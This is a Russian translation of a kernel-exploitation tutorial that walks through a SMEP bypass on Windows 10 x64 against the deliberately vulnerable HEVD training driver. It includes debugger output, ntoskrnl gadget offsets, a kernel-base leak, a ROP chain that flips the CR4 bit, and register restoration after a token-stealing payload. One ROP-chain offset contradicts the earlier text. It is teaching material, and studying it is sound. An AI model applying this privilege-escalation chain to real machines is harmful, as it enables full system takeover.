Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 4 – Переполнение буфера в стеке (обход SMEP)

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 4 – Переполнение буфера в стеке (обход SMEP)

В этой статье мы будем работать с системой Windows 10 x64, где по умолчанию включена функция SMEP.

Автор: Mohamed Shahat

В третьей части рассматривалась эксплуатация уязвимости, связанной с переполнением буфера в стеке, в системах на базе Windows 7 x86/x64. В этой статье мы будем работать с системой Windows 10 x64, где по умолчанию включена функция SMEP.

Код эксплоита находится здесь.

Сборка Windows: 16299.15.amd64fre.rs3_release.170928-1534
Версия ntoskrnl: 10.0.16288.192
Вместо того чтобы растекаться мыслью по древу, сразу же запустим эксплоит в системе Windows 10 x64 и посмотрим, что произойдет.

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0xc8:
fffff801`7c4d5708 ret

kd> k
# Child-SP RetAddr Call Site
00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101]
01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0
02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110

Глядя на инструкцию по адресу 00007ff68eff11d0, мы понимаем, что с нашей полезной нагрузкой все в порядке, и, на первый взгляд, нет никаких сложностей.

kd> t
00007ff6`8eff11d0 xor rax,rax
kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc
(0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Ошибка по адресу 0x000000fc говорит о том, что существует проблема ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY, которая возникает из-за присутствия аппаратной защиты SMEP (Supervisor Mode Execution Prevention).
Если продолжить выполнение, появится всеми любимый синий экран.


Рисунок 1: Синий экран при появлении ошибкиATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY

Что такое SMEP

SMEP (Supervisor Mode Execution Prevention) – это аппаратная защита, представленная компанией Intel под брендом OS Guard, которая не дает запускать код из пространства пользователя с привилегиями нулевого кольца. В результате попыток выполнить подобного рода манипуляции появляется синий экран. Этот метод защищает от эксплоитов, направленных на расширение привилегий, в которых используется полезная нагрузка, находящаяся в пространстве пользователя.

В регистре CR4 бит защиты SMEP находится под номером 20. Выдержка из документации:

Регистр CR4 содержит группу флагов, которые расширяют архитектуру и сигнализируют операционной системе или другим управляющим приложениям о специфических возможностях процессора.

Если этот бит равен 1, функция SMEP включена, в противном случае – отключена.

Более подробная информация указана в документации для разработчиков.

Обход SMEP

Существует несколько методов для обхода SMEP, с которыми я рекомендую ознакомиться для лучшего понимания темы. Мы будем пользоваться техникой, которая описывается в блоге j00ru:

  • Конструируем ROP-цепь, которая считывает содержимое регистра CR4, инвертирует двадцатый бит и записываем новое значение. С отключенной функцией SMEP мы можем «безопасно» перейти к нашей полезной нагрузке, находящейся в пространстве пользователя.
  • Если считать и/или изменить содержимого нельзя, можно восстановить (pop) «правильное» значение в регистр. Этот метод не так элегантен, однако является рабочим.

Важно отметить, что Hyperguard не позволяет изменять регистр CR4, если вы используете инстанс Hyper-V.

Выдержка из статьи с сайта Microsoft:

Система безопасности на базе виртуализации (Virtualization-based security; VBS) предоставляет еще один уровень защиты против попыток выполнить вредоносный код в ядре. Например, Device Guard блокирует выполнение кода в неподписанной зоне памяти ядра, включая код, направленный на расширение привилегий. Методы, используемые в Device Guard, защищают ключевые моделезависимые регистры (MSR), управляющие регистры и регистры таблицы дескрипторов. Неавторизированные попытки изменения битовых полей управляющего регистра CR4, включая бит, отвечающий за включение/отключение SMEP, блокируются немедленно.

Все нужные нам гаджеты находится в файле ntoskrnl.exe, базовый адрес которого можно получить двумя способами. Первый метод – через функцию EnumDeviceDrivers. Некоторые могут возразить, что этот метод не очень надежен, хотя я не сталкивался с проблемами. С другой стороны, учитывая, что на эту функцию отсутствует общедоступная документация, лучше скрестить пальцы J. Второй метод – через функцию NtQuerySystemInformation (вначале нужно выполнить экспорт). Мы будем использовать первый способ.

LPVOID addresses[1000];
DWORD needed;

EnumDeviceDrivers(addresses, 1000, &needed);

printf("[+] Address of ntoskrnl.exe: 0x%p\n", addresses[0]);

После получения базового адреса можно поискать относительные смещения к гаджетам, которые будут использоваться в ROP-цепи.

Отсылаю вас к этой статье, где описывается поиск гаджетов.

Первый гаджет должен восстанавливать значение в регистр CR4. После нахождения нужной инструкции станет понятно, содержимое какого регистра нужно контролировать.

kd> uf nt!KiConfigureDynamicProcessor

nt!KiConfigureDynamicProcessor:
fffff802`2cc36ba8 sub rsp,28h
fffff802`2cc36bac call nt!KiEnableXSave (fffff802`2cc2df48)
fffff802`2cc36bb1 add rsp,28h
fffff802`2cc36bb5 ret

kd> uf fffff802`2cc2df48

nt!KiEnableXSave:
fffff802`2cc2df48 mov rcx,cr4
fffff802`2cc2df4b test qword ptr [nt!KeFeatureBits (fffff802`2cc0b118)],800000h

... snip ...

nt!KiEnableXSave+0x39b0:
fffff802`2cc318f8 btr rcx,12h
fffff802`2cc318fd mov cr4,rcx // First gadget!
fffff802`2cc31900 ret

kd> ? fffff802`2cc318fd - nt

Evaluate expression: 4341861 = 00000000`00424065

Гаджет #1 - mov cr4,rcx, адрес: nt + 0x424065

Теперь нужно найти способ контроля за содержимым регистра rcx. В статье, указанной выше, упоминается функция HvlEndSystemInterrupt:

kd> uf HvlEndSystemInterrupt

nt!HvlEndSystemInterrupt:
fffff802`cdb76b60 push rcx
fffff802`cdb76b62 push rax
fffff802`cdb76b63 push rdx
fffff802`cdb76b64 mov rdx,qword ptr gs:[6208h]
fffff802`cdb76b6d mov ecx,40000070h
fffff802`cdb76b72 btr dword ptr [rdx],0
fffff802`cdb76b76 jb nt!HvlEndSystemInterrupt+0x1e (fffff802`cdb76b7e) Branch

nt!HvlEndSystemInterrupt+0x18:
fffff802`cdb76b78 xor eax,eax
fffff802`cdb76b7a mov edx,eax
fffff802`cdb76b7c wrmsr

nt!HvlEndSystemInterrupt+0x1e:
fffff802`cdb76b7e pop rdx
fffff802`cdb76b7f pop rax
fffff802`cdb76b80 pop rcx // Second gadget!
fffff802`cdb76b81 ret

kd> ? fffff802`cdb76b80 - nt
Evaluate expression: 1514368 = 00000000`00171b80

Гаджет #2 - pop rcx, адрес: nt + 0x171b80

ROP-цепь будет выглядеть следующим образом:

+------------------+
|pop rcx; ret | // nt + 0x424065
+------------------+
|value of rcx | // ? @cr4 & FFFFFFFF`FFEFFFFF
+------------------+
|mov cr4, rcx; ret | // nt + 0x424065
+------------------+
|addr of payload | // Available from user-mode
+------------------+

Важно отметить, что, если записать больше 8 начальных байт смещения в регистре RIP, следующий фрейм стека будет испорченным.

Восстановление потока выполнения

Рассмотрим подробнее стек перед тем, как вызывается функция memset:

Breakpoint 1 hit
HEVD!TriggerStackOverflow:
fffff801`71025640 mov qword ptr [rsp+8],rbx
kd> k
# Child-SP RetAddr Call Site
00 ffff830f`5a53a798 fffff801`7102572a HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]
01 ffff830f`5a53a7a0 fffff801`710262a5 HEVD!StackOverflowIoctlHandler+0x1a [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 125]
02 ffff830f`5a53a7d0 fffff801`714b02d9 HEVD!IrpDeviceIoCtlHandler+0x149 [c:\hacksysextremevulnerabledriver\driver\hacksysextremevulnerabledriver.c @ 229]
03 ffff830f`5a53a800 fffff801`7190fefe nt!IofCallDriver+0x59
04 ffff830f`5a53a840 fffff801`7190f73c nt!IopSynchronousServiceTail+0x19e

Проблема 1: Возврат к StackOverflowIoctlHandler+0x1a

Хотя адаптация стека для возврата к этому вызову работает, параметр в стеке (адрес структуры Irp) перезаписывается ROP-цепью и, насколько я знаю, не подлежит восстановлению. Впоследствии сей факт приводит к ошибке, связанной с нарушением доступа.

Смотрим инструкции по адресу TriggerStackOverflow+0xbc:

fffff801`710256f4 lea r11,[rsp+820h]
fffff801`710256fc mov rbx,qword ptr [r11+10h] // RBX should contain Irp's address, this is now overwritten to the new cr4 value

В итоге регистр rbx (в котором ранее хранился адрес IRP, используемого при вызове IrpDeviceIoCtlHandler) содержит новый адрес из регистра cr4, и при последующей попытке получить доступ возникает синий экран.

fffff801`f88d63e0 and qword ptr [rbx+38h],0 ds:002b:00000000`000706b0=????????????????

Обратите внимание, что rbx содержит новое значение регистра cr4. Эта инструкция соответствует выражению

Irp->IoStatus.Information = 0;

внутри функции IrpDeviceIoCtlHandler.

Таким образом, мы не можем возвращаться к StackOverflowIoctlHandler+0x1a.

Проблема 2: Возврат к HEVD!IrpDeviceIoCtlHandler+0x149

Эта проблем схожа с той, которая упоминалась выше. Адрес структуры Irp портится и не может быть восстановлен. Выполнение следующих инструкций приводит к ошибке доступа.

Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;

Вы можете сделать так, чтобы rbx указывал на участок памяти, доступный для записи, однако навряд структура Irp окажется корректной во время вызова следующей функции:

// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Опять тупик.

Проблема 3: Другие ошибки доступа

Поднимаемся в стеке на уровень выше к адресу nt!IofCallDriver+0x59. В процессе перехода никаких проблем не возникает, однако ошибки доступа в nt все равно есть.

Важно отслеживать состояние всех регистров при выполнении IOCTL-кода и во время обычных вызовов и во время вызовов, связанных с эксплуатацией уязвимости.

В нашем случае особое внимание следует уделять регистрам rdi и rsi. К сожалению, в системах x64 параметры передаются в регистры, и эти два регистра заполняются в функции HEVD!TriggerStackOverflow.

fffff800`185756f4 lea r11,[rsp+820h]
fffff800`185756fc mov rbx,qword ptr [r11+10h]
fffff800`18575700 mov rsi,qword ptr [r11+18h] // Points to our first gadget
fffff800`18575704 mov rsp,r11
fffff800`18575707 pop rdi // Points to our corrupted buffer ("AAAAAAAA")
fffff800`18575708 ret

Эти два регистра обнуляются, если вы используете входной буфер, который не перезаписывает инструкцию RET (можно провести эксперимент, отправив небольшой буфер и проверив состояние вышеуказанных регистров перед возвратом из функции TriggerStackOverflow). Хотя это утверждение не является справедливым в случае порчи стека.

Иногда при достижении адреса nt!IofCallDriver+0x59 состояние регистров rsi и rdi может быть таким:

kd> u @rip
nt!ObfDereferenceObject+0x5:
fffff800`152381c5 mov qword ptr [rsp+10h],rsi
fffff800`152381ca push rdi
fffff800`152381cb sub rsp,30h
fffff800`152381cf cmp dword ptr [nt!ObpTraceFlags (fffff800`15604004)],0
fffff800`152381d6 mov rsi,rcx
fffff800`152381d9 jne nt!ObfDereferenceObject+0x160d16 (fffff800`15398ed6)
fffff800`152381df or rbx,0FFFFFFFFFFFFFFFFh
fffff800`152381e3 lock xadd qword ptr [rsi-30h],rbx
kd> ? @rsi
Evaluate expression: -8795734228891 = fffff800`1562c065 // Address of mov cr4,rcx instead of 0
kd> ? @rdi
Evaluate expression: 4702111234474983745 = 41414141`41414141 // Some offset from our buffer instead of 0

Поскольку регистры находятся не в том состоянии, которое нам нужно, мы можем просто иногда выполнять обнуление перед выполнением вышеуказанного кода. Например, сразу же после выполнения полезной нагрузки, предназначенной для кражи токена.

xor rsi, rsi
xor rdi, rdi

Последний шаг – добавление 0x40 в регистр rsp, чтобы в стеке была ссылка на фрейм по адресу nt!IofCallDriver+0x59.

Полная версия эксплоита находится здесь.

Как защититься от уязвимости

Несмотря на то, что мы имеем дело с банальной проблемой, связанной с переполнением стека, подобное все еще происходит повсеместно. Ключевые способы защиты:

    • Обрабатывать входные параметры. Не доверять пользовательским данным (и размеру этих данных). Использовать верхние/нижние границы.
    • Использовать параметр /GS (stack cookies).

Еще один железобетонный метод: писать драйвера для ядра только в случае крайней необходимости J.

Резюме

  • На первый взгляд, обход SMEP выглядит пугающе, однако, как вы могли убедиться, даже небольшая ROP-цепь способна справиться с этой задачей.
  • Восстановление потока выполнения может оказаться непростым из-за ошибок доступа. У каждого фрейма стека могут быть свои нюансы.
  • Важно следить за состоянием регистров. Обращайте внимание, на какие регистры влияет ваш эксплоит и, по возможности, восстанавливайте состояние этих регистров.
  • Смещения меняются крайней часто. Вполне вероятно, этот эксплоит не будет работать после следующего обновления.

Ссылки


Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену